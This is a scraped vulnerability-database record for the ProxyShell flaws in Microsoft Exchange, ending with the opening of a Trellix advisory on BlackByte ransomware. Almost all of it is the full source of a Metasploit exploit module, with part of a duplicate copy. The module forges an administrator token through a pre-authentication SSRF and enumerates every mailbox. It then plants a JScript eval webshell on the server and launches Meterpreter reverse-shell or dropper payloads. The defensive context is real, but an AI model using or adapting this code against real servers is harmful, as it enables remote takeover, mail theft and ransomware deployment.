'-Confirm', value: false }\n ])\n end\n\n def execute_command(cmd, _opts = {})\n if !cmd_windows_generic?\n cmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\"));\"\n else\n cmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\").StdOut.ReadAll());\"\n end\n\n send_request_raw(\n 'method' => 'POST',\n 'uri' => normalize_uri(web_directory, @shell_filename),\n 'ctype' => 'application/x-www-form-urlencoded',\n 'data' => \"#{@shell_input_name}=#{cmd}\"\n )\n end\nend\n\nclass PstEncoding\n ENCODE_TABLE = [\n 71, 241, 180, 230, 11, 106, 114, 72,\n 133, 78, 158, 235, 226, 248, 148, 83,\n 224, 187, 160, 2, 232, 90, 9, 171,\n 219, 227, 186, 198, 124, 195, 16, 221,\n 57, 5, 150, 48, 245, 55, 96, 130,\n 140, 201, 19, 74, 107, 29, 243, 251,\n 143, 38, 151, 202, 145, 23, 1, 196,\n 50, 45, 110, 49, 149, 255, 217, 35,\n 209, 0, 94, 121, 220, 68, 59, 26,\n 40, 197, 97, 87, 32, 144, 61, 131,\n 185, 67, 190, 103, 210, 70, 66, 118,\n 192, 109, 91, 126, 178, 15, 22, 41,\n 60, 169, 3, 84, 13, 218, 93, 223,\n 246, 183, 199, 98, 205, 141, 6, 211,\n 105, 92, 134, 214, 20, 247, 165, 102,\n 117, 172, 177, 233, 69, 33, 112, 12,\n 135, 159, 116, 164, 34, 76, 111, 191,\n 31, 86, 170, 46, 179, 120, 51, 80,\n 176, 163, 146, 188, 207, 25, 28, 167,\n 99, 203, 30, 77, 62, 75, 27, 155,\n 79, 231, 240, 238, 173, 58, 181, 89,\n 4, 234, 64, 85, 37, 81, 229, 122,\n 137, 56, 104, 82, 123, 252, 39, 174,\n 215, 189, 250, 7, 244, 204, 142, 95,\n 239, 53, 156, 132, 43, 21, 213, 119,\n 52, 73, 182, 18, 10, 127, 113, 136,\n 253, 157, 24, 65, 125, 147, 216, 88,\n 44, 206, 254, 36, 175, 222, 184, 54,\n 200, 161, 128, 166, 153, 152, 168, 47,\n 14, 129, 101, 115, 228, 194, 162, 138,\n 212, 225, 17, 208, 8, 139, 42, 242,\n 237, 154, 100, 63, 193, 108, 249, 236\n ].freeze\n\n def self.encode(data)\n encoded = ''\n data.each_char do |char|\n encoded << ENCODE_TABLE[char.ord].chr\n end\n encoded\n end\nend\n\nclass XMLTemplate\n def self.render(template_name, context = nil)\n file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxyshell', \"#{template_name}.xml.erb\")\n template = ::File.binread(file_path)\n case context\n when Hash\n b = binding\n locals = context.collect { |k, _| \"#{k} = context[#{k.inspect}]; \" }\n b.eval(locals.join)\n else\n raise ArgumentError\n end\n b.eval(Erubi::Engine.new(template).src)\n end\nend\n\nclass SSRFWinRMConnection < WinRM::Connection\n class MessageFactory < WinRM::PSRP::MessageFactory\n def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)\n WinRM::PSRP::Message.new(\n runspace_pool_id,\n WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],\n XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),\n pipeline_id\n )\n end\n end\n\n # we have to define this class so we can define our own transport factory that provides one backed by the SSRF\n # vulnerability\n class TransportFactory < WinRM::HTTP::TransportFactory\n class HttpSsrf < WinRM::HTTP::HttpTransport\n # rubocop:disable Lint/\n def initialize(endpoint, options)\n @endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint\n @ssrf_proc = options[:ssrf_proc]\n end\n\n def send_request(message)\n resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message })\n WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml\n end\n end\n\n def create_transport(connection_opts)\n raise NotImplementedError unless connection_opts[:transport] == :ssrf\n\n super\n end\n\n private\n\n def init_ssrf_transport(opts)\n HttpSsrf.new(opts[:endpoint], opts)\n end\n end\n\n module PowerShell\n def send_command(command, _arguments)\n command_id = SecureRandom.uuid.to_s.upcase\n message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)\n fragmenter.fragment(message) do |fragment|\n command_args = [connection_opts, shell_id, command_id, fragment]\n if fragment.start_fragment\n resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)\n command_id = REXML::XPath.first(resp_doc, \"//*[local-name() = 'CommandId']\").text\n else\n transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)\n end\n end\n\n command_id\n end\n end\n\n def initialize(connection_opts)\n # these have to be set to truthy values to pass the option validation, but they're not actually used because hax\n connection_opts.merge!({ user: :ssrf, password: :ssrf })\n super(connection_opts)\n end\n\n def transport\n @transport ||= begin\n transport_factory = TransportFactory.new\n transport_factory.create_transport(@connection_opts)\n end\n end\nend\n", "sourceHref": "https://0day.today/exploit/36667", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "metasploit": [{"lastseen": "2023-08-07T01:57:48", "description": "This module exploits a vulnerability on Microsoft Exchange Server that allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve the RCE (Remote Code Execution). By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15, Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5, Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9. All components are vulnerable by default.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-18T14:50:34", "type": "metasploit", "title": "Microsoft Exchange ProxyShell RCE", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-12-02T20:58:50", "id": "MSF:EXPLOIT-WINDOWS-HTTP-EXCHANGE_PROXYSHELL_RCE-", "href": "https://www.rapid7.com/db/modules/exploit/windows/http/exchange_proxyshell_rce/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::CmdStager\n include Msf::Exploit::FileDropper\n include Msf::Exploit::Powershell\n include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell\n include Msf::Exploit::EXE\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange ProxyShell RCE',\n 'Description' => %q{\n This module exploits a vulnerability on Microsoft Exchange Server that\n allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an\n arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve\n the RCE (Remote Code Execution).\n\n By taking advantage of this vulnerability, you can execute arbitrary\n commands on the remote Microsoft Exchange Server.\n\n This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,\n Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,\n Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.\n\n All components are vulnerable by default.\n },\n 'Author' => [\n 'Orange Tsai', # Discovery\n 'Jang (@testanull)', # Vulnerability analysis\n 'PeterJson', # Vulnerability analysis\n 'brandonshi123', # Vulnerability analysis\n 'mekhalleh (RAMELLA S\u00e9bastien)', # exchange_proxylogon_rce template\n 'Donny Maasland', # Procedure optimizations (email enumeration)\n 'Rich Warren', # Procedure optimizations (email enumeration)\n 'Spencer McIntyre', # Metasploit module\n 'wvu' # Testing\n ],\n 'References' => [\n [ 'CVE', '2021-34473' ],\n [ 'CVE', '2021-34523' ],\n [ 'CVE', '2021-31207' ],\n [ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ],\n [ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ],\n [ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ],\n [ 'URL', 'https://github.com/dmaasland/proxyshell-poc' ]\n ],\n 'DisclosureDate' => '2021-04-06', # pwn2own 2021\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'RPORT' => 443,\n 'SSL' => true\n },\n 'Platform' => ['windows'],\n 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Windows Powershell',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_powershell,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'\n }\n }\n ],\n [\n 'Windows Dropper',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_dropper,\n 'CmdStagerFlavor' => %i[psh_invokewebrequest],\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',\n 'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'\n }\n }\n ],\n [\n 'Windows Command',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_CMD],\n 'Type' => :windows_command,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'\n }\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n 'AKA' => ['ProxyShell'],\n 'Reliability' => [REPEATABLE_SESSION]\n }\n )\n )\n\n register_options([\n OptString.new('EMAIL', [false, 'A known email address for this organization']),\n OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]),\n ])\n\n register_advanced_options([\n OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),\n OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15']),\n OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\\\auth']),\n OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\\\inetpub\\\\wwwroot']),\n OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),\n OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002'])\n ])\n end\n\n def check\n @ssrf_email ||= Faker::Internet.email\n res = send_http('GET', '/mapi/nspi/')\n return CheckCode::Unknown if res.nil?\n return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'\n\n CheckCode::Vulnerable\n end\n\n def cmd_windows_generic?\n datastore['PAYLOAD'] == 'cmd/windows/generic'\n end\n\n def encode_cmd(cmd)\n cmd.gsub!('\\\\', '\\\\\\\\\\\\')\n cmd.gsub('\"', '\\u0022').gsub('&', '\\u0026').gsub('+', '\\u002b')\n end\n\n def random_mapi_id\n id = \"{#{Rex::Text.rand_text_hex(8)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(12)}}\"\n id.upcase\n end\n\n def request_autodiscover(email)\n xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }\n\n response = send_http(\n 'POST',\n '/autodiscover/autodiscover.xml',\n data: XMLTemplate.render('soap_autodiscover', email: email),\n ctype: 'text/xml; charset=utf-8'\n )\n\n case response.body\n when %r{<ErrorCode>500</ErrorCode>}\n fail_with(Failure::NotFound, 'No Autodiscover information was found')\n when %r{<Action>redirectAddr</Action>}\n fail_with(Failure::NotFound, 'No email address was found')\n end\n\n xml = Nokogiri::XML.parse(response.body)\n\n legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content\n fail_with(Failure::NotFound, 'No \\'LegacyDN\\' was found') if legacy_dn.nil? || legacy_dn.empty?\n\n server = ''\n xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|\n type = item.at_xpath('./xmlns:Type', xmlns)&.content\n if type == 'EXCH'\n server = item.at_xpath('./xmlns:Server', xmlns)&.content\n end\n end\n fail_with(Failure::NotFound, 'No \\'Server ID\\' was found') if server.nil? || server.empty?\n\n { server: server, legacy_dn: legacy_dn }\n end\n\n def request_fqdn\n ntlm_ssp = \"NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x05\\x02\\x88\\xa0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n received = send_request_raw(\n 'method' => 'RPC_IN_DATA',\n 'uri' => normalize_uri('rpc', 'rpcproxy.dll'),\n 'headers' => {\n 'Authorization' => \"NTLM #{Rex::Text.encode_base64(ntlm_ssp)}\"\n }\n )\n fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received\n\n if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)\n hash = received['WWW-Authenticate'].split('NTLM ')[1]\n message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))\n dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]\n\n return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase\n end\n\n fail_with(Failure::NotFound, 'No Backend server was found')\n end\n\n # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff\n def request_mapi(legacy_dn)\n data = \"#{legacy_dn}\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\"\n headers = {\n 'X-RequestType' => 'Connect',\n 'X-ClientInfo' => random_mapi_id,\n 'X-ClientApplication' => datastore['MapiClientApp'],\n 'X-RequestId' => \"#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}\"\n }\n\n sid = ''\n response = send_http(\n 'POST',\n '/mapi/emsmdb',\n data: data,\n ctype: 'application/mapi-http',\n headers: headers\n )\n if response&.code == 200\n sid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s\n end\n fail_with(Failure::NotFound, 'No \\'SID\\' was found') if sid.empty?\n\n sid\n end\n\n def get_sid_for_email(email)\n autodiscover = request_autodiscover(email)\n request_mapi(autodiscover[:legacy_dn])\n end\n\n # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.\n def exploit_setup\n if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?\n server_name = datastore['BackendServerName']\n print_status(\"Internal server name forced to: #{server_name}\")\n else\n print_status('Retrieving backend FQDN over RPC request')\n server_name = request_fqdn\n print_status(\"Internal server name: #{server_name}\")\n end\n @backend_server_name = server_name\n\n get_common_access_token\n print_good('Successfully assigned the \\'Mailbox Import Export\\' role')\n print_good(\"Proceeding with SID: #{@mailbox_user_sid} (#{@mailbox_user_email})\")\n end\n\n def probe_powershell_backend(common_access_token)\n powershell_probe = send_http('GET', \"/PowerShell/?X-Rps-CAT=#{common_access_token}\")\n fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200\n end\n\n # this function doesn't return unless it's successful\n def get_common_access_token\n # get a SID from the specified email address\n email_address = datastore['EMAIL']\n unless email_address.blank?\n sid = get_sid_for_email(email_address)\n vprint_status(\"SID: #{sid} (#{email_address})\")\n common_access_token = build_token(sid)\n probe_powershell_backend(common_access_token)\n\n print_status(\"Assigning the 'Mailbox Import Export' role via #{email_address}\")\n role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [\n { name: '-Role', value: 'Mailbox Import Export' },\n { name: '-User', value: email_address }\n ])\n unless role_assigned\n fail_with(Failure::BadConfig, 'The specified email address does not have the \\'Mailbox Import Export\\' role and can not self-assign it')\n end\n\n @mailbox_user_sid = sid\n @mailbox_user_email = email_address\n @common_access_token = common_access_token\n return\n end\n\n print_status('Enumerating valid email addresses and searching for one that either has the \\'Mailbox Import Export\\' role or can self-assign it')\n get_emails.each do |this_email_address|\n next if this_email_address == email_address # already tried this one\n\n vprint_status(\"Reattempting to assign the 'Mailbox Import Export' role via #{this_email_address}\")\n begin\n this_sid = get_sid_for_email(this_email_address)\n rescue RuntimeError\n print_error(\"Failed to identify the SID for #{this_email_address}\")\n next\n end\n\n common_access_token = build_token(this_sid)\n role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [\n { name: '-Role', value: 'Mailbox Import Export' },\n { name: '-User', value: this_email_address }\n ])\n next unless role_assigned\n\n @mailbox_user_sid = this_sid\n @mailbox_user_email = this_email_address\n @common_access_token = common_access_token\n return # rubocop:disable Lint/NonLocalExitFromIterator\n end\n\n fail_with(Failure::NoAccess, 'No user with the necessary management role was identified')\n end\n\n def send_http(method, uri, opts = {})\n ssrf = \"Autodiscover/autodiscover.json?a=#{@ssrf_email}\"\n opts[:cookie] = \"Email=#{ssrf}\"\n super(method, \"/#{ssrf}#{uri}\", opts)\n end\n\n def get_emails\n mailbox_table = Rex::Text::Table.new(\n 'Header' => 'Exchange Mailboxes',\n 'Columns' => %w[EmailAddress Name RoutingType MailboxType]\n )\n\n MailboxEnumerator.new(self).each do |row|\n mailbox_table << row\n end\n\n print_status(\"Enumerated #{mailbox_table.rows.length} email addresses\")\n stored_path = store_loot('ad.exchange.mailboxes', 'text/csv', rhost, mailbox_table.to_csv)\n print_status(\"Saved mailbox and email address data to: #{stored_path}\")\n\n mailbox_table.rows.map(&:first)\n end\n\n def create_embedded_draft(user_sid)\n @shell_input_name = rand_text_alphanumeric(8..12)\n @draft_subject = rand_text_alphanumeric(8..12)\n print_status(\"Saving a draft email with subject '#{@draft_subject}' containing the attachment with the embedded webshell\")\n payload = Rex::Text.encode_base64(PstEncoding.encode(\"#<script language=\\\"JScript\\\" runat=\\\"server\\\">function Page_Load(){eval(Request[\\\"#{@shell_input_name}\\\"],\\\"unsafe\\\");}</script>\"))\n file_name = \"#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}\"\n envelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject)\n\n send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')\n end\n\n def web_directory\n if datastore['UseAlternatePath']\n datastore['IISWritePath'].gsub('\\\\', '/')\n else\n datastore['ExchangeWritePath'].gsub('\\\\', '/')\n end\n end\n\n def build_token(sid)\n uint8_tlv = proc do |type, value|\n type + [value.length].pack('C') + value\n end\n\n token = uint8_tlv.call('V', \"\\x00\")\n token << uint8_tlv.call('T', 'Windows')\n token << \"\\x43\\x00\"\n token << uint8_tlv.call('A', 'Kerberos')\n token << uint8_tlv.call('L', 'Administrator')\n token << uint8_tlv.call('U', sid)\n\n # group data for S-1-5-32-544\n token << \"\\x47\\x01\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x0c\\x53\\x2d\\x31\\x2d\\x35\\x2d\\x33\\x32\\x2d\\x35\\x34\\x34\\x45\\x00\\x00\\x00\\x00\"\n Rex::Text.encode_base64(token)\n end\n\n def exploit\n @ssrf_email ||= Faker::Internet.email\n print_status('Attempt to exploit for CVE-2021-34473')\n exploit_setup\n\n create_embedded_draft(@mailbox_user_sid)\n @shell_filename = \"#{rand_text_alphanumeric(8..12)}.aspx\"\n if datastore['UseAlternatePath']\n unc_path = \"#{datastore['IISBasePath'].split(':')[1]}\\\\#{datastore['IISWritePath']}\"\n unc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\"\n else\n unc_path = \"#{datastore['ExchangeBasePath'].split(':')[1]}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\"\n unc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\"\n end\n\n normal_path = unc_path.gsub(/^\\\\+[\\w.-]+\\\\(.)\\$\\\\/, '\\1:\\\\')\n print_status(\"Writing to: #{normal_path}\")\n register_file_for_cleanup(normal_path)\n\n @export_name = rand_text_alphanumeric(8..12)\n successful = execute_powershell('New-MailboxExportRequest', cat: @common_access_token, args: [\n { name: '-Name', value: @export_name },\n { name: '-Mailbox', value: @mailbox_user_email },\n { name: '-IncludeFolders', value: '#Drafts#' },\n { name: '-ContentFilter', value: \"(Subject -eq '#{@draft_subject}')\" },\n { name: '-ExcludeDumpster' },\n { name: '-FilePath', value: unc_path }\n ])\n fail_with(Failure::UnexpectedReply, 'The mailbox export request failed') unless successful\n\n exported = false\n print_status('Waiting for the export request to complete...')\n 30.times do\n sleep 5\n next unless send_request_cgi('uri' => normalize_uri(web_directory, @shell_filename))&.code == 200\n\n print_good('The mailbox export request has completed')\n exported = true\n break\n end\n\n fail_with(Failure::Unknown, 'The mailbox export request timed out') unless exported\n\n print_status('Triggering the payload')\n case target['Type']\n when :windows_command\n vprint_status(\"Generated payload: #{payload.encoded}\")\n\n if !cmd_windows_generic?\n execute_command(payload.encoded)\n else\n boundary = rand_text_alphanumeric(8..12)\n response = execute_command(\"cmd /c echo START#{boundary}&#{payload.encoded}&echo END#{boundary}\")\n\n print_warning('Dumping command output in response')\n if response.body =~ /START#{boundary}(.*)END#{boundary}/m\n print_line(Regexp.last_match(1).strip)\n else\n print_error('Empty response, no command output')\n end\n end\n when :windows_dropper\n execute_command(generate_cmdstager(concat_operator: ';').join)\n when :windows_powershell\n cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)\n execute_command(cmd)\n end\n end\n\n def cleanup\n super\n return unless @common_access_token && @export_name\n\n print_status('Removing the mailbox export request')\n execute_powershell('Remove-MailboxExportRequest', cat: @common_access_token, args: [\n { name: '-Identity', value: \"#{@mailbox_user_email}\\\\#{@export_name}\" },\n { name: '-Confirm', value: false }\n ])\n\n print_status('Removing the draft email')\n execute_powershell('Search-Mailbox', cat: @common_access_token, args: [\n { name: '-Identity', value: @mailbox_user_email },\n { name: '-SearchQuery', value: \"Subject:\\\"#{@draft_subject}\\\"\" },\n { name: '-Force' },\n { name: '-DeleteContent' }\n ])\n end\n\n def execute_command(cmd, _opts = {})\n if !cmd_windows_generic?\n cmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\"));\"\n else\n cmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\").StdOut.ReadAll());\"\n end\n\n send_request_raw(\n 'method' => 'POST',\n 'uri' => normalize_uri(web_directory, @shell_filename),\n 'ctype' => 'application/x-www-form-urlencoded',\n 'data' => \"#{@shell_input_name}=#{cmd}\"\n )\n end\nend\n\n# Use https://learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/resolvenames to resolve mailbox\n# information. The endpoint only returns 100 at a time though so if the target has more than that many email addresses\n# multiple requests will need to be made. Since the endpoint doesn't support pagination, we refine the query by using\n# progressively larger search prefixes until there are less than 101 results and thus will fit into a single response.\nclass MailboxEnumerator\n def initialize(mod)\n @mod = mod\n end\n\n # the characters that Exchange Server 2019 allows in an alias (no unicode)\n ALIAS_CHARSET = 'abcdefghijklmnopqrstuvwxyz0123456789!#$%&\\'*+-/=?^_`{|}~'.freeze\n XML_NS = {\n 'm' => 'http://schemas.microsoft.com/exchange/services/2006/messages',\n 't' => 'http://schemas.microsoft.com/exchange/services/2006/types'\n }.freeze\n\n include Enumerable\n XMLTemplate = Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell::XMLTemplate\n\n def each(name: 'SMTP:', &block)\n envelope = XMLTemplate.render('soap_getemails', name: name)\n res = @mod.send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')\n return unless res&.code == 200\n\n if res.get_xml_document.xpath('//m:ResolutionSet/@IncludesLastItemInRange', XML_NS).first&.text&.downcase == 'false'\n ALIAS_CHARSET.each_char do |char|\n each(name: name + char, &block)\n end\n else\n res.get_xml_document.xpath('//t:Mailbox', XML_NS).each do |mailbox|\n yield %w[t:EmailAddress t:Name t:RoutingType t:MailboxType].map { |xpath| mailbox.xpath(xpath, XML_NS)&.text || '' }\n end\n end\n end\nend\n\nclass PstEncoding\n ENCODE_TABLE = [\n 71, 241, 180, 230, 11, 106, 114, 72,\n 133, 78, 158, 235, 226, 248, 148, 83,\n 224, 187, 160, 2, 232, 90, 9, 171,\n 219, 227, 186, 198, 124, 195, 16, 221,\n 57, 5, 150, 48, 245, 55, 96, 130,\n 140, 201, 19, 74, 107, 29, 243, 251,\n 143, 38, 151, 202, 145, 23, 1, 196,\n 50, 45, 110, 49, 149, 255, 217, 35,\n 209, 0, 94, 121, 220, 68, 59, 26,\n 40, 197, 97, 87, 32, 144, 61, 131,\n 185, 67, 190, 103, 210, 70, 66, 118,\n 192, 109, 91, 126, 178, 15, 22, 41,\n 60, 169, 3, 84, 13, 218, 93, 223,\n 246, 183, 199, 98, 205, 141, 6, 211,\n 105, 92, 134, 214, 20, 247, 165, 102,\n 117, 172, 177, 233, 69, 33, 112, 12,\n 135, 159, 116, 164, 34, 76, 111, 191,\n 31, 86, 170, 46, 179, 120, 51, 80,\n 176, 163, 146, 188, 207, 25, 28, 167,\n 99, 203, 30, 77, 62, 75, 27, 155,\n 79, 231, 240, 238, 173, 58, 181, 89,\n 4, 234, 64, 85, 37, 81, 229, 122,\n 137, 56, 104, 82, 123, 252, 39, 174,\n 215, 189, 250, 7, 244, 204, 142, 95,\n 239, 53, 156, 132, 43, 21, 213, 119,\n 52, 73, 182, 18, 10, 127, 113, 136,\n 253, 157, 24, 65, 125, 147, 216, 88,\n 44, 206, 254, 36, 175, 222, 184, 54,\n 200, 161, 128, 166, 153, 152, 168, 47,\n 14, 129, 101, 115, 228, 194, 162, 138,\n 212, 225, 17, 208, 8, 139, 42, 242,\n 237, 154, 100, 63, 193, 108, 249, 236\n ].freeze\n\n def self.encode(data)\n encoded = ''\n data.each_char do |char|\n encoded << ENCODE_TABLE[char.ord].chr\n end\n encoded\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/exchange_proxyshell_rce.rb", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "trellix": [{"lastseen": "2022-02-28T00:00:00", "description": "![trellix intelligence](https://www.trellix.com/en-us/img/newsroom/stories/trellix-intelligence.jpeg)\n\n# Trellix Global Defenders: Analysis and Protections for BlackByte Ransomware\n\nBy Taylor Mullins \u00b7 February 28, 2022\n\nBlackByte Ransomware has been in the news of late due to a successful attack against a National Football League (NFL) Franchise and a Joint Cybersecurity Advisory by the Federal Bureau of Investigation (FBI) and the U.S. Secret Service (USSS) warning on breaches to the networks of at least three organizations from US critical infrastructure sectors in the last three months. BlackByte Ransomware is currently being offered to threat actors as a Ransomware-as-a-Service (RaaS) and makes use of PowerShell and Windows CLI commands to carry out various tasks such as network discovery, task scheduling and to create and disable Windows and security services.\n\nBlackByte Ransomware makes files inaccessible by encrypting them and generates a ransom note (the \"BlackByte_restoremyfiles.hta\" file) that contains instructions on how to contact the attackers for data decryption and other details. Also, BlackByte appends the \".blackbyte\" extension to the names of encrypted files. BlackByte does have worming capabilities and can infect additional endpoints on the same network.\n\n![Figure 1. MITRE ATT&CK Framework for BlackByte Ransomware](https://www.trellix.com/en-us/img/newsroom/stories/analysis-protections-blackbyte-ransomware1.jpg) **Figure 1. MITRE ATT&CK Framework for BlackByte Ransomware**\n\n## Recommended Steps to Prevent Initial Access \n\nThe Joint Cybersecurity Advisory provides several recommendations to secure your environment against BlackByte that were gathered from their analysis of malware samples discovered in the wild.\n\n * BlackByte operators have been observed exploiting the following CVEs to gain initial access, patching is recommended to prevent exploitation.\n * [CVE-2021-34473](<https://vulners.com/cve/CVE-2021-34473>) \\- Microsoft 